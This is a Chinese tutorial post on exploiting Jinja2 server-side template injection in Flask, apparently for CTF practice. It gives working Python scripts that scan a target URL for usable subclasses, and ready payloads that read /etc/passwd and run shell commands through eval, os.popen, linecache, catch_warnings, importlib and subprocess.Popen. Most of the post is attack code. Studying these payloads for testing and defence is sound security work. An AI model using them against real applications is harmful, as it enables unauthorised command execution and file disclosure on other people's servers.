python flask Jinja2模板学习

news2024/11/20 4:29:16

分类很好的一篇文章

Jinja2模板语法 

Jinja2里常见的三种定界符:

  • (1) 语句 {% ... %}
  • (2) 表达式 {{ ... }}
  • (3) 注释 {# ... #}
   {%set a='dazhaung'%}   语句设置变量
   {{a}}            表达式
    {% if 2>1 %}控制语句以{%endif%}结尾

Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。 


python 类的基础知识

所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行

魔法方法

__class__ 查找当前类型的所属对象

__base__ 沿着父子类的关系往上走一个

__mro__ 查找当前类对象的所有继承类

__subclasses__() 查找父类下的所有子类

__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载

__globals__ 函数会以字典形式返回当前对象的全部全局变量

__builtins__提供对python的所有内置标识符的直接访问

eval计算字符串表达式的值

popen()执行一个shell以运行命令

一、文件读取 多配合pin码 

step1:脚本读取 _frozen_importlib_external.FileLoader

import requests
url = input('请输入 URL : ')
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if '_frozen_importlib_external.FileLoader' in response.text:
            print(i)

step2: 直接利用其 get_data() 函数即可。

get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。

0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

二、RCE 远程代码执行

1. 利用含有内建函数eval的__builtins__  模块执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问

step1: 脚本查找首可以利用内建函数 eval 的模块: 

import requests
url = input("请输入 URL:")
for i in range(500):
    # payload 中需要先初始化再列出所有全局变量
    data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "eval" in response.text:
            print(i)

step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令

利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2. os 模块执行系统命令  hackbar里边都有 

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)

  • 通过 config
  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    
  • 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}

注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
  • 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}

 2.2 在已经加载 os 模块的子类里直接调用 os 模块

(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类

老规矩,先用脚本查找哪些子类已经加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "os.py" in response.text:
            print(i)

 step2: 构造 payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "linecache" in response.text:
            print(i)


{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

3.其他

 读取配置文件中的FLAG 

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

 利用warnings.catch_warnings 进行命令执行 

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "_frozen_importlib.BuiltinImporter" in response.text:
            print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn  

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "subprocess.Popen" in response.text:
            print(i)

{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1282790.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python异常处理【侯小啾Python基础领航计划 系列(二十六)】

Python异常处理【侯小啾Python基础领航计划 系列(二十六)】 大家好,我是博主侯小啾, 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔…

Tenda 路由器 uploadWewifiPic后台RCE漏洞复现

0x01 产品简介 腾达路由器是一款高效实用的路由器,致力于为家庭用户提供舒适、便捷、自然的智慧家庭体验。简单便捷的部署在家庭中,彻底解决家庭用户的网络接入问题。 0x02 漏洞概述 腾达路由器后台 uploadWewifiPic 路由存在命令执行漏洞,攻击者可利用漏洞执行任意命令获取…

汽车电子 -- 毫米波雷达

参看:自动驾驶感知——毫米波雷达 一、雷达分类 二、毫米波雷达信号频段 三、车载毫米波雷达的重要参数 常见参数 探测距离 (车辆0.5m ~ 200m 行人0.5m ~ 70m)距离向精度 (0.15 m)距离向分辨率 ( 0.5 m)测速范围…

施密特触发器

1、作用 简单来说,施密特触发器可以将模拟信号转变成数字信号 2、为什么不使用比较器将模拟信号转变成数字信号 当输入电平高于参考电压时,输出高电平;输入电压低于参考电压时,输出低电平。这样比较器也可以实现模拟信号转换成数…

CTF特训日记day3

复现一下RWCTF5th shellfind题目 题目描述如下: Hello Hacker. You dont know me, but I know you. I want to play a game. Heres what happens if you lose. The device you are watching is hooked into your Saturday and Sunday. When the timer in the back …

C++ Primer 第十六章 模板与泛型编程 重点解读

文章目录 1 定义模板1.1 类模板成员函数的实例化:1.2 在类代码内简化模板类名的使用:1.3 令模板自己的类型参数成为友元(C11)1.4 模板类型别名1.4.1 typedef1.4.2 为模板定义类型别名(C11) 1.5 函数模板与类模板的区别1.6 使用类的…

如何撰写How-To文章:7个高效步骤(新手SEOer向导)

How-To类型的文章在各种领域都非常受欢迎,因为它们直接回应了读者的需求和问题。因此,很多网站也会针对一些信息型的关键词写很多How-To文章吸引流量。 “How-To”类文章也是我最喜欢的一种内容类型。因为它比起其他大部分内容类型来讲要容易写很多。 …

java开发之个微机器人的实现

简要描述: 二次登录 请求URL: http://域名地址/secondLogin 请求方式: POST 请求头Headers: Content-Type:application/jsonAuthorization:login接口返回 参数: 参数名必选类型说明wcId…

Vue框架学习笔记——列表渲染:v-for

文章目录 前文提要代码正文 前文提要 本人仅做个人学习记录&#xff0c;如有错误&#xff0c;请多包涵 主要学习链接&#xff1a;尚硅谷Vue2.0Vue3.0全套教程丨vuejs从入门到精通 代码正文 <body><div id"box"><ul><li v-for"(p,index)…

印刷生产ERP有哪些?印刷生产ERP系统哪一个好用

印刷生产行业发展历史悠久&#xff0c;不同规模的印刷生产工厂有差异化的经营策略和管理侧重点&#xff0c;同时在日常经营过程中也会遇到多样化的管理难题。 有些企业在车间排期、库存盘点、生产流程优化、资源整合、成本核算等方面存在不少管理问题。同时也有不少印刷生产企…

Java异常机制入门详解(上)

Java异常机制入门详解 基础知识 什么是异常&#xff1f; 在Java语言中&#xff0c;异常就是代表程序出现的问题。异常的引入不是让我们以后不出异常&#xff0c;而是程序出了异常之后&#xff0c;该如何处理。如如下两段代码&#xff0c;会各抛出一个异常&#xff1a; int[…

ssrf介绍、相关php函数及demo演示

SSRF系列 危害&#xff08;利用&#xff09; 漏洞判断 回显 延时 DNS请求 相关函数

W11+Ipv6+可道云+PHPstudy实现私人云盘搭建

W11Ipv6可道云PHPstudy实现私人云盘搭建 一、搭建原因二、搭建过程软件选择服务器环境管理软件私人云盘 可道云搭建小皮面板搭建 三、相关配置程序开机自启远程关机远程开机 四、相关参考 一、搭建原因 工位电脑上一些文件想备份到家里电脑&#xff0c;购买NAS又有点多余&…

如何使用内网穿透工具实现公网访问GeoServe Web管理界面

文章目录 前言1.安装GeoServer2. windows 安装 cpolar3. 创建公网访问地址4. 公网访问Geo Servcer服务5. 固定公网HTTP地址6. 结语 前言 GeoServer是OGC Web服务器规范的J2EE实现&#xff0c;利用GeoServer可以方便地发布地图数据&#xff0c;允许用户对要素数据进行更新、删除…

【AntDB 数据库】国产数据库发展之信创政策的加持

由于我国在信息技术领域起步较晚&#xff0c;国内大量的市场份额被国际IT巨头占据&#xff0c;甚至长期处于被垄断的地位&#xff0c;这也给了某些国家妄图通过挑起科技、贸易摩擦制衡我国发展的机会。为了解决可能存在的安全风险&#xff0c;在重要信息系统、关键基础设施中使…

云原生之深入解析Kubernetes策略引擎对比:OPA/Gatekeeper与Kyverno

一、前言 ① Kubernetes 策略 Kubernetes 的 Pod Security Policy&#xff0c;正如其名字所暗示的&#xff0c;仅是针对 Pod 工作的&#xff0c;是一种用来验证和控制 Pod 及其属性的机制。另外 PSP 只能屏蔽非法 Pod 的创建&#xff0c;无法执行任何补救/纠正措施。而 Gatek…

Redis持久化及常见问题解决

持久化缓存雪崩缓存穿透缓存击穿缓存预热 持久化 Redis的储存形式&#xff1a;一份在内存、一份在磁盘。内存的是最新的&#xff1b;磁盘里的会隔一段时间更新。 Redis持久化方式&#xff1a; RDB:快照方式&#xff1b;将某⼀个时刻的内存数据&#xff0c;以⼆进制的⽅式写⼊…

Hana Studio打开BW失败

Hana Studio打开BW失败 JCo initialization failed with java.lang.UnsatisfiedLinkError: D:\ycy\BW培训\HANA\configuration\org.eclipse.osgi\357\0.cp\lib\sapjco3.dll: Can’t find dependent libraries 这个提示应该是VC版本问题&#xff0c;按如下链接中的地址下载安装…

【头歌实训】分布式文件系统 HDFS

文章目录 第1关&#xff1a;HDFS的基本操作任务描述相关知识HDFS的设计分布式文件系统NameNode与DataNode HDFS的常用命令 编程要求测试说明答案代码 第2关&#xff1a;HDFS-JAVA接口之读取文件任务描述相关知识FileSystem对象FSDataInputStream对象 编程要求测试说明答案代码 …

【开源】基于Vue+SpringBoot的民宿预定管理系统

项目编号&#xff1a; S 058 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S058&#xff0c;文末获取源码。} 项目编号&#xff1a;S058&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用例设计2.2 功能设计2.2.1 租客角色…